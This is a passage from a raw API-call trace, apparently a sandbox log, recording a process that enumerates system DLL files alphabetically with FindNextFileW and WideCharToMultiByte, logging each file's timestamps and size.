lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x1d7c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x1d7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x1d7c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x1d7c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.336] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0031.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x1d7c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x1d7c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x1d7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.337] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0031.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x1d7c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.338] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0031.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.338] WideCharToMultiByte (in: CodePage=0x0, 